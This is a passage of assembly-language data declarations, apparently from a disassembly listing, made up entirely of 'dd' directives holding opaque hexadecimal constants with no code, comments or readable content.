		dd 42E5462Fh, 6B9ACCF3h, 98E6C1AEh, 0A7A0E83Dh,	0FA96EF47h
		dd 0FB3E4F70h, 404FF3F4h, 50741503h, 0F4350B42h, 55134450h
		dd 1B465174h, 4851F475h, 52749523h, 0F4B52B4Ah,	0EBFC82CFh
		dd 0F67A1E87h, 689C63D8h, 0AE4E69AAh, 0C84548Fh, 83D4E2CDh
		dd 96F73931h, 3855E6B3h, 0F3399B1h, 0CD453840h,	0D5732DC7h
		dd 7B5E5775h, 6057F5F5h, 0D8761583h, 6FEA0D5Dh,	21007A53h
		dd 0AE6898E4h, 0C733C6A9h, 0BD2E24CEh, 6F6B9117h, 0A244E646h
		dd 836E1A66h, 4E4EC3F9h, 1F67A9F3h, 0F735CB62h,	45012D5Ch
		dd 0DB765D77h, 7CC8F775h, 5C47CCFAh, 871D954Eh,	1D5E939Ch
		dd 0A9543CD3h, 193D8E3Dh, 39A913DFh, 6424736Eh,	0A9E8770Fh
		dd 0E0799E07h, 8861F871h, 62789623h, 0F8B62B8Ah, 0D6338C62h
		dd 0FE8E6378h, 63F8F63Bh, 79164390h, 364B9264h,	539464F9h
		dd 7B629956h, 1D78865Ah, 6771E875h, 34C2400Fh, 0CB5155E9h
		dd 175A753Ah, 9E35009h,	0A768C418h, 0AA79511Eh,	0BC6EA80Fh
		dd 661A6CF1h, 8EAFB984h, 0AD29083Dh, 0EA348D34h, 0B3AC6AE3h
		dd 0AE6B7AD6h, 6BFAF6BBh
		dd 7B16C3B0h, 36CBB26Ch, 0D3B46CFBh, 0B66D7B56h, 6DFB76DBh
		dd 7B96E3B8h, 8FDACEEh,	0A1A9A903h, 3D8EC3DEh, 19863976h
		dd 26F1AC68h, 819C6CE9h, 9CBB4706h, 741F26A1h, 0AD82125Ch
		dd 0FA1E839Fh, 0BF07A3DAh, 986A33C6h, 0D2974629h, 0EA1A9108h
		dd 7D10F83Ah, 374BD274h, 53D474FDh, 0D6757D57h,	75FD775Bh
		dd 7D9763D8h, 0B76BDA76h, 73DC76FDh, 0DE777DD7h, 74FDF77Bh
		dd 4430EC3Bh, 0F8F7A9F8h, 774F0FE3h, 0C1F03CD1h, 0F0FC29BDh
		dd 86271269h, 721C771h,	65A2685Ah, 0A49BBCACh, 9AB38E95h
		dd 2724C260h, 31845E18h, 0F0FEFCDFh, 7D7F57D3h,	0FF77DBF6h
		dd 97E3F87Dh, 0EBFA7E7Fh, 0FC7EFFB7h, 7F7FD7F3h, 0FFF7FBFEh
		dd 5006007Fh, 20240380h, 0C118EFCh, 19A30461h, 0DF85D8CDh
		dd 6A2A31BAh, 0D32CAE5Ch, 607A0E18h, 449938F0h,	48F00C4Eh
		dd 7B67D0Eh, 6F706B2Bh,	4708E44Eh, 9BD6FE38h, 8550A494h
		dd 0B61642Bh, 1842F85Dh, 338650C6h, 6D0D61A4h, 0E61C4378h
		dd 0E0DA8730h, 0F87D0F61h, 51062043h, 62244388h, 44788D11h
		dd 89512624h, 1362644Bh, 2844F89Dh, 29245116h, 9835CA01h
		dd 9070C241h, 0E8D718E3h, 11A0E606h, 8329C2BDh,	8952A282h
		dd 0BD51DA3Dh, 838F5E0Ch, 7360F19Ah, 630CA398h,	0D539A7CCh
		dd 0A70951C0h, 0A5C4A261h, 0E47B28B0h, 0F8FD1F63h, 52064047h
		dd 64248390h, 48790D21h, 91522644h, 2364648Bh, 4848F91Dh
		dd 93925246h, 2D2564A4h, 0C61C7D9h, 31211C43h, 0C5643A86h
		dd 45D9EEADh, 1C61FE5Bh, 61886FE3h, 0D060B50Fh,	23596E67h
		dd 1CD6064Fh, 19032238h, 3289111Eh, 6549F1AAh, 981A8310h
		dd 7D2F64CCh, 6604BF9h,	24C39853h, 798D3166h, 5326644Ch
		dd 6664CB99h, 4CF99D33h, 9A534668h, 3566A4D3h, 6C4D79ADh
		dd 0C4189266h, 44310A28h, 38930CC2h, 0FAAF59EBh, 0A948C0CDh
		dd 119A5313h, 9B4AB8Dh,	4AF54907h, 8A84F56Dh, 3C893CAEh
		dd 7C4F09DFh, 0FB9F53E6h, 0FD3F67E4h, 6804FF9h,	2503A054h
		dd 7A0D4168h, 54268450h, 68650BA1h, 50FA1D43h, 95D40688h
		dd 380FA972h, 0FA8E51A8h, 864CA898h, 7A338DFBh,	0EC9493C3h
		dd 0B4178CE3h, 71F33B5Eh, 48A277CFh, 5819CD85h,	43A9F10Ah
		dd 0A654C698h, 4D69A533h, 9C537A6Dh, 3BA754E6h,	7D4F69E5h
		dd 4E3C536Ah, 0D91E2531h, 61A03809h, 4E286451h,	2299E3A5h
		dd 0C68A4434h, 0A4CCFC02h, 556AA511h, 0AC557AADh, 5BAB5566h
		dd 576AE5FEh, 0AE55FABDh, 0F69CB472h, 0A5540798h, 807CC1BAh
		dd 656BAD55h, 0FADD5B6Bh, 55C6B856h, 0AB1558AEh, 4EBAC8E1h
		dd 0AE70720Dh, 5F6BE57Bh, 0C057FAFDh, 75B03606h, 495DC685h
		dd 0B2A8804Ah, 6582AD32h, 0FB1D636Ch, 0D646C858h, 2C3584B1h
		dd 553B1306h, 0B35666C9h, 676CE59Bh, 0CA502B3Dh, 97B0F596h
		dd 655B6B45h, 0C85A8B51h, 65ABB3E2h, 0DB5D6B6Dh, 559AD0DAh
		dd 0C5956CB1h, 8E91F44Ah, 0B756BC5Ah, 6F6DE5BBh, 0D1DB1AE5h
		dd 6AAF559Eh, 8388595h,	26DF5B82h, 65CBB957h, 0AB81436Eh
		dd 0C1D0354Ah, 0EC58ED26h, 1B7B8B57h, 0B9B720EAh, 3965A581h
		dd 0F05DFBB7h, 76BBB43Ah, 2018291Dh, 55A15D27h,	0FDD7ABB7h
		dd 0C16E39C7h, 4408678Ah, 0C004FEBBh, 0D0CBEB2Bh, 0BF33EAFBh
		dd 0C0EFDCFCh, 83DFDBEAh, 0FDA09802h, 5814005h,	1F03558Ch
		dd 500BED8h, 5BFD81B0h,	0D7E707E0h, 0FEFD54C1h,	5BF73F6Fh
		dd 540B05E1h, 70DD99C1h, 0D5ABC73Eh, 613AB0Fh, 746C45E6h
		dd 0ADDEABA7h, 0B71B97B2h, 5A33C678h, 0E6F90B81h, 5E19BE96h
		dd 0C3B86E8h, 0B863038Dh, 0F1A604ADh, 616C2556h, 0C7F3C306h
		dd 8E2FF643h, 0ED55C8Bh, 3C85837h, 9B6431BDh, 670FCAFCh
		dd 8DE5C435h, 4BD15449h, 0E2CAAF5Dh, 6E1021Ch, 0FFC602Bh
		dd 16427C56h, 91719E31h, 0AE12BFFh, 38C27863h, 23843356h
		dd 0C335922Ch, 0BE44C219h, 0DC2791F0h, 0D9E6FBE6h, 0E7C609CDh
		dd 0E70CDD9Dh, 0D019B33Eh, 0A0F1FE80h, 36646CEFh, 88D098F3h
		dd 0D19FB076h, 231CE67Ch, 1E44C8DAh, 0FCE59BF4h, 39A74AE8h
		dd 0F3AE3AD1h, 0E8ECD7A4h, 0D2F9EF3Eh, 8D33E696h, 33679CF5h
		dd 0ABD47A4Bh, 45AA3486h, 2F53E97Dh, 0C6519E1Ah, 425D94EAh
		dd 789F2B62h, 47FE5BBDh, 0AC14F97h, 1463706Eh, 2C84E89Fh
		dd 670F91FAh, 0BBF96A8h, 9EFEB516h, 36E92D05h, 85C33B43h
		dd 3BAA73B6h, 0A333693Dh, 5694D17Ah, 7C1BA175h,	1AA75761h
		dd 74F6E3DBh, 6CFD4DA6h, 0C75B734Ah, 0B4B75681h, 4E6E4C8Fh
		dd 0E6D9BB4Bh, 19BAF716h, 0E7796EFDh, 16DDD65Bh, 0FD9FBC37h
		dd 99CF78EEh, 0F596E1D0h, 0EB4C0590h, 0C47ADAABh, 5BF13655h
		dd 2E65AAB8h, 131462B3h, 2C27761Fh, 0D459089Eh,	50C41E63h
		dd 0DD997EB6h, 0D9F375EFh, 0B6D671E0h, 0EDBDEFAAh, 0E05A9F25h
		dd 0BBB9060Fh, 92E39DE9h, 9CDB1C13h, 0FF84746Eh, 8F7A69BCh
		dd 8EF6C13Bh, 1D19BEB4h, 0DCEF7FE7h, 0B6E6EDE4h, 686DFB9Ch
		dd 0E858F37Ch, 0C176A738h, 73E4AE5Bh, 0F5E03B6Bh, 93EB916h
		dd 1696E52Bh, 4419CA96h, 0CC524E2Fh, 829C67EBh,	0F608B8E2h
		dd 0F6711228h, 1E629C44h, 0C745F8D3h, 96F4FD03h, 0D5DEDBEFh
		dd 51D234AEh, 0BFA1F1FEh, 0F775EA7Dh, 4EFBB2F6h, 3BFB93E7h
		dd 37D68A9Fh, 0EEBFEE1h, 9BE3B8F0h, 0FA278AEEh,	6FBD13D1h
		dd 0EF1BF3BBh, 0CEBA6F88h, 0A8E4BEE1h, 79F1BD23h, 6BD5E7CFh
		dd 9311759Dh, 465767D8h, 0FBD95571h, 9B138A0Ch,	3B310215h
		dd 0AC113DAh, 0EDC2D3B6h, 0C1733E3Dh, 67682DE3h, 98E63D37h
		dd 5DC9BDCFh, 2799FB7Eh, 0AF86DDDEh, 0DE73CBBDh, 0BE739CFBh
		dd 3DA797F0h, 77BDAFF3h, 0F7DF439Dh, 0EEBCE66Ah, 0E3754DADh
		dd 0D3E7FF1Fh, 9ABBCBFh, 0BFA2F2BEh, 709F3D2h, 3B49D6FDh
		dd 0E2D6AC5Ch, 4FF6236h, 0A713BB1h, 0F5C27C81h,	2D05A767h
		dd 7D8B115Eh, 0B8F8BA96h, 63B476EFh, 33FFDF6Dh,	3A834D35h
		dd 0A9400356h, 0FBA1B57Bh, 0B66B6FB3h, 813E4B6Bh, 0EBC33703h
		dd 3C7B673Fh, 3DC08356h, 5C0C4053h, 40A34B40h, 0C53833FEh
		dd 43FDB7BBh, 402B9BB7h, 0FC07C0Eh, 9B964084h, 0B57C12BBh
		dd 72C0C370h, 1B03C0A3h, 2E7AAB3Fh, 0ACAD9B86h,	18D53F52h
		dd 4BF736FEh, 0BF885184h, 58844BF9h, 0BFC3FB0h,	0AF0B8F32h
		dd 233C1B01h, 0DB27AABCh, 425AAF31h, 0AAC19280h, 0B312C1A2h
		dd 0B882AC41h, 8B05A87Fh, 0EBB384EBh, 3F907FC1h, 0FB051BD7h
		dd 5BD9855Bh, 0C2740336h, 0DF3C3C24h, 3286C33Bh, 0C362B543h
		dd 28287B1Ah, 3C292AA4h, 0BD33D2BFh, 59081074h,	0F04FBD70h
		dd 84FBB441h, 55857857h, 1C354218h, 0C42C4244h,	88C38A7Fh
		dd 0AAE1439Ah, 85AAAAC3h, 3EB3043Bh, 0F844C3E4h, 44143084h
		dd 4C44BC43h, 84444434h, 42A44528h, 478592ADh, 83B38564h
		dd 85387FBFh, 4CC4AC2Dh, 2C55454Ch, 0AABAB144h,	87ACC44Eh
		dd 307EB2DBh, 53851C5h,	54449BB1h, 72AD435Ch, 434B1F43h
		dd 5E327A83h, 0D4604224h, 2853CC30h, 2240FB4Dh,	44654644h
		dd 0C3328442h, 85B94B9Eh, 7AAD06D2h, 2AF2D2C5h,	53179C47h
		dd 4303B44h, 0C37C4B44h, 5EC60AACh, 0FEB72FC4h,	2320392Ah
		dd 0A84C3446h, 62C5FB90h, 27FC664h, 0BFCC5F47h,	84476422h
		dd 0EAACC692h, 0BF41A0C4h, 6D05AAAEh, 3C6CBB58h, 0C76C5C85h
		dd 3AC1740Bh, 0B418379Bh, 0B48480B3h, 0C4352432h, 3C0DC033h
		dd 0BAAB9434h, 343473C3h, 0BB79B7E3h, 40434FBDh, 0A5B39B02h
		dd 5BA948BBh, 34C47635h
		dd 1B6A3E3h, 64903664h,	400C17C8h, 0FE411C18h, 0D373482Bh
		dd 0C8BC8F3Fh, 16B9FC04h, 0A27E465Ch, 3D02BA47h, 45ACB2D1h
		dd 205AAB54h, 8588DE86h, 80C6E420h, 639BBCDAh, 3E7496C0h
		dd 0EA3BDBE5h, 24A43CA3h, 0BB93EB48h, 93B963EDh, 7BE839F4h
		dd 0BC6B93BEh, 9138F3DDh, 3BA7490Ch, 0BC13A346h, 0BE499C96h
		dd 4BA34073h, 3EBC1037h, 43409CA8h, 13E03A9Bh, 47AA6F28h
		dd 1C275C9Ch, 0D4462350h, 85F85AAAh, 0A13FA85Fh, 839AB0D4h
		dd 0B584A64Ah, 724883EFh, 0F343CB0Bh, 34DCA94Ah, 50CA6B9Eh
		dd 0B0FE395Bh, 0EBB94AA4h, 0B9B3C9CBh, 0AFCC13C0h, 0FC784CACh
		dd 463BBCCBh, 11B91CC3h, 2B34CC14h, 0CAB3C8B5h,	0BBBCB3BFh
		dd 0F4B6C993h, 0B9939AB6h, 0B7AA3280h, 0AAA6C9BCh, 0C7BC1AACh
		dd 0FB4BB4BAh, 44A1CBDBh, 3254CC4Ah, 0A3B9F472h, 0C154684h
		dd 0CC5488BCh, 0DECBF3CCh, 84DE4B3Ch, 4E3BE5BCh, 0E1B24BA0h
		dd 4BCB4CCCh, 0CDCCE447h, 0A4B69CC1h, 0CC91BB8Bh, 3C93CDB7h
		dd 5E3EA37Fh, 8C574D6Ch, 44F2E0CBh, 0A00592B0h,	6332C31Ch
		dd 4A9368CCh, 0B4CADBE0h, 3CF5C62Ch, 4F44E141h,	0C2C834EDh
		dd 44E23703h, 0BBD3DFCDh, 0E0BE44A5h, 4C75BECBh, 3C040237h
		dd 0DC4AE4F5h, 7BC94B13h, 0BED4F94Ah, 0CB3FF4D2h, 3C133E44h
		dd 469C27C7h, 0B9A554F0h, 7ACD4D94h, 481BEDD0h,	93392472h
		dd 0E485C0F4h, 0C8E473D0h, 0FDCAF486h, 0E50C3013h, 4074A9CFh
		dd 14B1EB3Ch, 24B2D02Ch, 513400C1h, 0B7C81321h,	924EFEC3h
		dd 2D16C0DCh, 0C114943Eh, 73C9936Fh, 44984DEBh,	0C13495D1h
		dd 0B127EBCAh, 7CB82A68h, 1EB49CCDh, 772E650Bh,	0A527ACFCh
		dd 455B00C9h, 13427435h, 1D24BAC9h, 429D25ABh, 28AE5458h
		dd 852FACE5h, 0ADDC66D0h, 3252A27Bh, 89A327F4h,	0C19C56A7h
		dd 6AD26509h, 5D385334h, 0D38D32C5h, 0C8257283h, 7BCFAEF0h
		dd 0A763ADCDh, 3F53A537h, 0FD39C42Dh, 3852C6D3h, 4149DBD1h
		dd 4AF0543Dh, 2C854429h, 3EA92D42h, 0A5192DD5h,	0CDBC7330h
		dd 32475D30h, 3D1AD4ACh, 0C63510D3h, 77B0DC72h,	0C545D4C2h
		dd 35BD3D3Ah, 4847C547h, 7287C795h, 0AAB46742h,	8AB7C61h
		dd 0BCDBD314h, 0D4FA7E54h, 46AC7550h, 7D2EA34Dh, 0C89B3A2Ch
		dd 8F350358h, 9D20B524h, 0CE5D1F51h, 1136DC83h,	43E8D1BDh
		dd 0C84415C8h, 11CD03FFh, 0CB4F51F5h, 568C0E40h, 9C4C2D65h
		dd 6D62351Bh, 337C80B5h, 5040386Ah, 8655ADFEh, 353E55BAh
		dd 50F2C755h, 0E23A7506h, 0CCB54C74h, 4AC3C750h, 8C501CC7h
		dd 6BE5CC9Ch, 0CF94BFB7h, 744E74AAh, 74EDD14Dh,	0B714ABCFh
		dd 7956ED6Eh, 0AB55705h, 0D4357154h, 954ECAC8h,	9575CD33h
		dd 4C257A4Ch, 0EBCE2CC6h, 0ACD156A4h, 0CE34CA57h, 833A64C6h
		dd 54CAD13Ch, 4C83AA3Ah, 883B9CCEh, 930C347Ch, 4FB56E8Bh
		dd 822B5D81h, 4D523F2Dh, 583D26A3h, 4CCD24E1h, 44EAD755h
		dd 0CB63C24Eh, 7CCE94E3h, 1D7DCE0Dh, 505CF6CBh,	0A5BC9CEAh
		dd 0ACE9C85Ch, 35957ED9h, 93CE5D92h, 0CBCED81Dh, 0D2D87DBAh
		dd 27596A55h, 64C0CB2Bh, 0CB5D77D7h, 0E9369CFAh, 857BD993h
		dd 0BEED7AD7h, 0F05AA5AAh, 4CE55123h, 5ACCB04Eh, 0FBDAB507h
		dd 0FDA0D7FAh, 2835A4D6h, 0BC5A6AC2h, 1D0BCBA2h, 0D17D5E40h
		dd 0BB55FD6Dh, 848CCFA5h, 578CCED6h, 7D569DB1h,	0BC97C94Dh
		dd 0BC65BE40h, 0FED22573h, 79506D8Ch, 250FD66Bh, 372C005Ch
		dd 80358DC2h, 6C77D685h, 2A6D095Bh, 0A84F0DB8h,	75B62CDDh
		dd 472DCEA8h, 0B95CFABFh, 0FDCB5922h, 0D2DDB7ABh, 0BDCDAC4h
		dd 0ED672BE5h, 300DD12Ah, 965323A0h, 3ABEDD2Ah,	5D52D95Dh
		dd 0C6DDCDDAh, 9DDD5D22h, 0DCD5DB2Bh, 0E15DED47h, 0FD3A5E1Dh
		dd 5B949D5Dh, 0E55E4DE2h, 8DE3455Dh, 5E5DE0CDh,	355E8DE8h
		dd 987C9C34h, 0B8582F07h, 0A34D9429h, 0EDEE5E92h, 0C692F05Eh
		dd 1C079879h, 12C4DEC0h, 79A0D81h, 0F55F4DEFh, 0B5F02E4Dh
		dd 5F34F0DEh, 0F95F5986h, 5540A7D5h, 2F0DFAC5h,	34076DF0h
		dd 3802A920h, 0DED879BFh, 0D9E00DF9h, 95FBD38Dh, 280602ACh
		dd 7687CA6Fh, 0BD42DEB8h, 4D98761Eh, 3A7EE01h, 3609D45Eh
		dd 0AC760AC4h, 0D627D60Bh, 1E050684h, 0D8335C5Fh, 0CA81E08h
		dd 8E12610Eh, 0E04A84A7h, 0B9DF2605h, 2DF4276Ch, 611A8161h
		dd 61FE8E17h, 0F08685B7h, 1A0C5FDDh, 607A0D00h,	1E61DE19h
		dd 2D23AAE6h, 0AC39EA27h, 1EDE7DA7h, 5623622Eh,	0AA6D2BA8h
		dd 0BC8E3620h, 7E23E082h, 5FA62862h, 6753528Ah,	25371348h
		dd 62CE28D7h, 3B257E2Dh, 619E27ADh, 0A574BA62h,	2D631E2Dh
		dd 0FA52A576h, 0B8552E2h, 23635E32h, 1952294Eh,	99E97EA3h
		dd 0F274626h, 0BE36624Ah, 0E3760163h, 0B420A26Fh, 0A5376258h
		dd 28CE3A2Eh, 0E41E3Ch,	0A1E863D6h, 1C506D06h, 0F496AE3Fh
		dd 20F8E40Ah, 5F5E4864h, 9D8F85DEh, 713520B1h, 1526400Bh
		dd 48E3B238h, 9DE864EEh, 64A86364h, 4CE4662Bh, 0F647A5AEh
		dd 5E5E5464h, 54E51650h, 0A6356521h, 654E538Fh,	55DE1659h
		dd 0FE51A0AEh, 65865297h, 5E659E4Eh, 665ADB6Eh,	0E5C65691h
		dd 5EE4DE57h, 0FDCB662Eh, 0E4BE38E5h, 5DE47313h, 3E676636h
		dd 63466454h, 67E66657h, 9E0A66AEh, 0E5B64A5Dh,	8F5EFE60h
		dd 6B66265Ch, 8D3F66FEh, 95564B66h, 58E4D665h, 96746706h
		dd 650E6C53h, 6E17F66Dh, 4E73E61Eh, 44BE7967h, 77E5BE71h
		dd 0CE79E6A6h, 675E0B67h, 4C677656h, 0D666E786h, 0AEFE8167h
		dd 7FE6DE7Ah, 4E81E7C6h, 0E7E544E8h, 7B99EE76h,	9680E736h
		dd 689873ABh, 8B68AE8Ah, 68C68BEh, 68DE8D09h, 8F68EE8Eh
		dd 0E9068FEh, 691E9169h, 93692E92h, 4E94693Eh, 68989069h
		dd 9568AA7Ch, 8E98697Eh, 699E9969h, 93E9AE9Ah, 2AABE966h
		dd 672E7F68h, 0B8E88E53h, 7A8BE89Ah, 6A1EA117h,	8B87895Eh
		dd 9E96873Ah, 6A2072E8h, 2B6A6EA6h, 0B69C6A31h,	0E8769D2Ah
		dd 0C0E88683h, 0D06C873Ah, 86A07C07h, 0AF050855h, 0EB06AFEh
		dd 8506AF6Bh, 0B36B2050h, 3EB46B2Eh, 6B4EB56Bh,	0B76B5EB6h
		dd 7EB86B6Eh, 6B8EB96Bh, 0BB6B9EBAh, 0BEBC6BAEh, 6B16BBEBh
		dd 55EB06BEh, 0F87C06A0h, 9086A87h, 0EAC278FEh,	0AE07B878h
		dd 5EC504F6h, 6C6EC66Ch, 0C86C7EC7h, 9EC96C8Eh,	6CAECA6Ch
		dd 0CC6CBECBh, 0DECD6CCEh, 7C6BFECh, 0A406A07Dh, 68669CEh
		dd 646E9DE6h, 6CAC06ABh, 587C0788h, 5C05385h, 0D86D7ED7h
		dd 9ED96D8Eh, 6DAEDA6Dh, 0DC6DBEDBh, 0DEDD6DCEh, 6DEEDE6Dh
		dd 0D76DFEDFh, 0C0558546h, 0ED087887h, 72873A57h, 0F05587B8h
		dd 0EC386A04h, 0E86E787Bh, 9EE96E8Eh, 6EAEEA6Eh, 0EC6EBEEBh
		dd 0DEED6ECEh, 6EEEEE6Eh, 0EEEEFEEFh, 184F6A36h, 6C2078EEh
		dd 64ED1EA9h, 0EED36726h, 7FEABE9h, 0D76D686Ah,	9EF905EEh
		dd 6FAEFA6Fh, 0FC6FBEFBh, 0DEFD6FCEh, 6FEEFE6Fh, 6FFEFFh
		dd 0F01700Fh, 546D7F0h,	96AF686Ah, 0C04F6C46h, 72F0607h
		dd 8707F07h, 9F09708Fh,	70AF0A70h, 0C70BF0Bh, 0DF0D70CFh
		dd 70EF0E70h, 670EF0Fh,	0FEE607C7h, 0AAAEF307h,	0F5E656A9h
		dd 5EF6E5D6h, 0FE7ED705h, 7936086h, 19718F18h, 0AF1A719Fh
		dd 71BF1B71h, 1D71CF1Ch, 0EF1E71DFh, 71FF1F71h,	73F1EF20h
		dd 706786E0h, 0F04055EDh, 307BEC2h, 6F0FEAD7h, 727F2772h
		dd 29728F28h, 0F70B729Fh, 5406A6Ch, 13AAC712h, 8E6EEF57h
		dd 73ABE67h, 5C05407Dh,	0B87F85E8h, 73387887h, 35734F34h
		dd 6F36735Fh, 737F3773h
		dd 39738F38h, 0AF3A739Fh, 73BF3B73h, 7F87BF3Bh,	0C05C05E8h
		dd 891712F2h, 5087B873h, 36C08728h, 743F3C73h, 45744F44h
		dd 6F46745Fh, 73D73674h, 5087287Ch, 26D172C8h, 6D266C95h
		dd 1569E6AAh, 432DAC07h, 0F3205B85h, 0ECF508EDh, 4F3F73E0h
		dd 73D741F0h, 0EAF54F51h, 0A74907B8h, 74B6F3F4h, 1474C676h
		dd 869F72EFh, 74F7302Bh, 8AF50h, 0FF5D8850h, 885F5E87h
		dd 4884F5Fh, 7618C13h, 76088776h, 81B03081h, 2F64F650h
		dd 0F67765B0h, 5B85E88Ah, 0D6C2F528h, 8FFE4187h, 7647660Dh
		dd 6D088762h, 376E883Fh, 0F3FF568Ch, 69F2DA88h,	0BABFED3Eh
		dd 5C05BF5h, 7668C6E2h,	380068B7h, 0F7677787h, 77776F78h
		dd 0AF7877A7h, 77B779E8h, 8A77DF7Dh, 0C77CF79Eh, 0F76F7FE8h
		dd 7BF7F77Fh, 2777E89Fh, 0F7E78278h, 5C6D568Ah,	1F577698h
		dd 850F3018h, 2A6E2703h, 88007287h, 0F8AF8BF0h,	0D78CF0Fh
		dd 0F70B78E7h, 70F78D78h, 49EF76D5h, 22887717h,	68466177h
		dd 17F5BABFh, 107387BBh, 798F9807h, 99F99F99h, 0B0710007h
		dd 0B03798F9h, 9BB02F9Bh, 0C79879EFh, 0F9D79D79h, 9CF9C79Dh
		dd 0E79B79A7h, 79EF9F79h, 9FFA5FA2h, 6FA3FA47h,	0F9FFA27Ah
		dd 0A1FA7FA2h, 0AFAB7AAFh, 0FA37A17Ah, 0A57AA7A4h, 0FF9A7A2Fh
		dd 0F40F99FAh, 6A05685Bh, 96ACA57Fh, 790F32F8h,	4F8F727h
		dd 73037073h, 0FB6707FBh, 0B6872FB8h, 87B7FBA7h, 0FBBF8CFBh
		dd 0BB7BBFBAh, 2FBD7BCFh, 0E7B8FEB0h, 70F7B57Bh, 9286A73Dh
		dd 96F472D7h, 0F73794E6h, 5407FF95h, 285B8568h,	0FC9FB06Eh
		dd 0AEFAF7A9h, 0A7CC7CBFh, 7997A67Ah, 0A97A6FA4h, 0F7A07A67h
		dd 0FA3FAE79h, 0CB7A97D0h, 0BFD37D27h, 7CAFD07Ch, 0ADFD1FB0h
		dd 7CA7D7Fh, 878873FBh,	737B2FB1h, 8F03F6B2h, 0B887287h
		dd 0DF7DEFDEh, 0FE07DFFh, 7E0FEh, 0DF7E27DEh, 0FFE37E27h
		dd 7E48B8D7h, 0E57E5FE4h, 0DB02FE57h, 7E97E609h, 0E9FEA7E7h
		dd 0BFE9FE7Fh, 7EDFE17Eh, 0B8FEEFEEh, 20788728h, 2AA787F9h
		dd 0F6687F94h, 8730F4E6h, 871078FCh, 0F77F686Fh, 7FF87F7Fh
		dd 0FF70007Fh, 0FA86FFF9h, 0AFF6FFA7h, 0FFBFF9FFh, 0FCFFB304h
		dd 0F8807FEFh, 207026h,	1E0D0200h, 9BF0884Ch, 90C86C1h
		dd 30787416h, 118642E2h, 887C6213h, 8244A290h, 0C3E3F03h
		dd 0C5A3D1A9h, 0A24F2082h, 0DE2E26FCh, 0FEA8532Dh, 73268365h
		dd 0A17D3666h, 8BFDA8FEh, 0CF1A8E57h, 27F3E9Eh,	68742A0Dh
		dd 8D3D0050h, 0D3C88D1Eh, 4EA3D228h, 4A75329Bh,	0A854AA0Dh
		dd 0B502A714h, 0D12A94AAh, 0FABF5EAEh, 1FEF172Ch, 673050B5h
		dd 76AB4DA2h, 0D499DB2Dh, 6685BDA0h, 6AB318CDh,	23399CD5h
		dd 1A9D6FB6h, 10BC5418h, 0C9E56020h, 0F2ED3113h, 0CCAB8B55h
		dd 8EB6B298h, 0AC8E431Fh, 543E9CF6h, 13C95AA6h,	0E7336DC7h
		dd 733B9ECEh, 0F3C00CDCh, 47A56E68h, 5A8CE69Fh,	0ABD6E7F4h
		dd 0CD8E9B59h, 0D9EA757Ah, 0BECB5BAAh, 6D763B0Dh, 0FB41BEDDh
		dd 377B9D7Eh, 0E4E2DC6Eh, 367972B5h, 0A17FB66Dh, 96A4E57Eh
		dd 0EAF53A6Dh, 0CF63AFD6h, 803B3DAEh, 53BDDDE9h, 7BFDDEFFh
		dd 0C7E4F2F8h, 3E76CF97h, 0E4EAFAFDh, 0DEB7ABD3h, 0FAFD3B7Eh
		dd 1B53A9F6h, 4C6CCBFBh, 0BED5FEC9h, 755CD715h,	5ED795DDh
		dd 0D815FD7Dh, 961D8560h, 358B4C98h, 13849FF6h,	0FE9945B6h
		dd 5668AD65h, 0DDA5715Ch, 1E6BE1C6h, 6C9056EAh,	5A86FE20h
		dd 46EE1C6Fh, 0E2488A2h, 206E6287h, 70E2F89Eh, 0E1D8C1C4h
		dd 267E1A6Fh, 0F52F724Eh, 37735687h, 2FCE53FDh,	0A4591243h
		dd 99224791h, 24A92A4h,	4E936430h, 9364F912h, 2559464Fh
		dd 0F9565395h, 6E5995CBh, 5D976509h, 9426196Ah,	0A659924Bh
		dd 43964699h, 4A147F16h, 34CA018h, 5E9785DAh, 9805F97Ch
		dd 86198460h, 0B18C6298h, 169B27D9h, 8E21965Eh,	9A78B99Fh
		dd 8709A688h, 8A888AE2h, 11682876h, 6928A6CDh, 68F6D225h
		dd 76AA93A1h, 428EA6A8h, 9DA668CAh, 87A88A76h, 0E39A0E8Eh
		dd 75A1CB8Eh, 9538738Eh, 0AF99CD93h, 44646AC2h,	0E4E41645h
		dd 3ACA63ACh, 651496EBh, 5A952B69h, 0AFAB594Ah,	0E57B06B4h
		dd 7B22B1ADh, 96693666h, 7E39CFF5h, 5CA6E64Ah, 2069C574h
		dd 0C9DE099Dh, 0F20F9EA0h, 91B7AD09h, 61FE8A01h, 5B92E3A9h
		dd 122E8E2Eh, 0EBBAAE67h, 0A96EDBB2h, 6CF72A3Ah, 9902AA5Ah
		dd 0E2C9350Dh, 0BF926F9Bh, 0BEAFC99Eh, 0F01C02FFh, 0E9A9D22Fh
		dd 498FB7ECh, 7381670Bh, 82E76822h, 0D083A79h, 0CC530784h
		dd 98ABAA96h, 0B82DCA62h, 0C7B1D33Ch, 0B21C831Fh, 5C9323C8h
		dd 31DC9B2h, 27CA7210h,	0CBB2DCB3h, 731CC32Fh, 64B4B8C8h
		dd 0CF062ACAh, 0BF2A0FFBh, 0CFB3D3C4h, 0B41D033Fh, 5D1343D0h
		dd 173ED1B4h, 0D0B474h,	0D3B4DD28h, 751D434Fh, 24BCBFD1h
		dd 0C200C56Fh, 0BB526F5h, 82A7581Fh, 67B83678h,	0AD935784h
		dd 64A2352Ah, 6B2DCADCh, 0DBB6DDB3h, 0B71DC36Fh, 5DD373DCh
		dd 0E377DDB7h, 7BDEB79Dh, 299C9DEBh, 3564E0A2h,	9279644Dh
		dd 0C787D49Fh, 8BE28F73h, 0E338DE33h, 0B91E4388h, 4D4393E4h
		dd 92A8E14Dh, 0D3D656EDh, 0D7672812h, 361C3ED8h, 4E6763B7h
		dd 0E0F139F1h, 19DA0AB3h, 0BADEFEB3h, 1EC3AFEBh, 0D3B3ECBBh
		dd 0B7EDBB5Eh, 0EEBB9EE3h, 0B19EF3BBh, 13E0AB28h, 9D32E08Fh
		dd 0AB3FCF63h, 0E5162278h, 0BCDF33CBh, 5D47CFF3h, 0C737278Eh
		dd 59E963D3h, 0E7B5B80Bh, 0F60C3AD7h, 7B7712B6h, 50E7C1FDh
		dd 0D43E0FA3h, 0FA8A12ACh, 0BEDFB3EBh, 1FB8A0FAh, 0D3F3FCBFh
		dd 0F7FDBF5Fh, 0FEBF9FE3h, 0FF0FE7FBh, 350ABFEh, 0C6A0FA1Fh
		dd 8E71A0F0h, 7905909Ah, 320589Eh, 7C0E81Bh, 12823042h
		dd 2B05209Ch, 620BC168h, 0DC1A8330h, 0A80106E0h, 0A3647B8Fh
		dd 984B6480h, 0B0D5ACF6h, 622B69AFh, 0F8DF1313h, 7D0E580Eh
